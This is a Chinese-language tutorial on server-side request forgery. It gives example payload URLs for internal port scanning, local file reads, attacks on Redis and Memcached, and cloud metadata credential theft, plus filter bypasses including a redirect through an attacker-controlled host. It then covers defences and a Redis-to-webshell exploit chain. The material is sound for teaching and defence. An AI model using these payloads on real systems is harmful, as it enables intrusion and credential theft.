SSRF服务器端请求伪造:内网渗透的跳板
什么是SSRF
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务器发起请求的安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
漏洞原理
很多Web应用提供了从其他服务器获取数据的功能。比如:
- 图片下载/显示:用户输入URL,服务器抓取图片
- Webhook回调:服务器向用户指定的URL发送请求
- 文件处理:PDF转HTML、URL预览等功能
- API代理:服务器转发请求到第三方API
如果服务器没有对目标地址做严格校验,攻击者就能让服务器向任意地址发起请求,包括:
- 内网IP(192.168.x.x、10.x.x.x、172.16.x.x)
- 本地服务(127.0.0.1、localhost)
- 云服务商元数据接口(169.254.169.254)
攻击场景
1. 扫描内网端口
http://target.com/fetch?url=http://192.168.1.1:22
http://target.com/fetch?url=http://192.168.1.1:3306
http://target.com/fetch?url=http://192.168.1.1:6379通过响应时间、错误信息判断端口是否开放。
2. 读取本地文件
http://target.com/fetch?url=file:///etc/passwd
http://target.com/fetch?url=file:///proc/self/environ部分库支持 file:// 协议,可读取服务器本地文件。
3. 攻击本地服务
# Redis未授权访问
http://target.com/fetch?url=dict://127.0.0.1:6379/info
# Memcached
http://target.com/fetch?url=gopher://127.0.0.1:11211/...
4. 云环境元数据窃取
# AWS
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
# 阿里云
http://target.com/fetch?url=http://100.100.100.200/latest/meta-data/
可获取临时凭证、实例信息等敏感数据。
常见绕过技巧
IP进制转换
# 127.0.0.1 的各种写法
http://2130706433/ # 十进制
http://0177.0.0.1/ # 八进制
http://0x7f.0.0.1/ # 十六进制利用DNS解析
# 指向127.0.0.1的域名
http://target.com/fetch?url=http://localhost.example.com/URL解析差异
# @绕过(部分解析库)
http://[email protected]/
# #截断
http://www.example.com#@192.168.1.1/
302跳转绕过
# 控制一个外网域名,设置302跳转到内网
http://target.com/fetch?url=http://attacker.com/redirect
# 实际跳转到 http://192.168.1.1/防御方案
1. 白名单校验
只允许访问指定域名/IP,而不是黑名单过滤。
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
def is_allowed(url):
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
2. 禁用危险协议
# 只允许 http/https
if not url.startswith(('http://', 'https://')):
raise ValueError('Only HTTP/HTTPS allowed')3. 解析后二次校验
import socket
def validate_ip(hostname):
try:
ip = socket.getaddrinfo(hostname, None)[0][4][0]
# 检查是否是内网IP
if ipaddress.ip_address(ip).is_private:
raise ValueError('Private IP not allowed')
except socket.gaierror:
pass # 域名解析失败
4. 使用无特权网络
- 将请求服务部署在独立网络段
- 使用防火墙限制出站连接
- 云环境使用VPC隔离
5. 云环境特殊防护
# AWS:启用IMDSv2(需要Token)
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"实战检测
漏洞发现
- 寻找接受URL参数的功能点
- 尝试传入
http://127.0.0.1/或http://169.254.169.254/ - 观察响应差异(时间、内容、错误信息)
利用链构建
1. 发现SSRF → 扫描内网
2. 发现Redis(6379开放)
3. 利用Redis未授权写入Webshell
4. 或者写入SSH公钥获取服务器权限总结
SSRF是内网渗透的重要入口,危害包括:
- 内网信息收集
- 本地服务攻击
- 云凭证窃取
防御核心:白名单 + 协议限制 + 网络隔离,不要依赖黑名单过滤。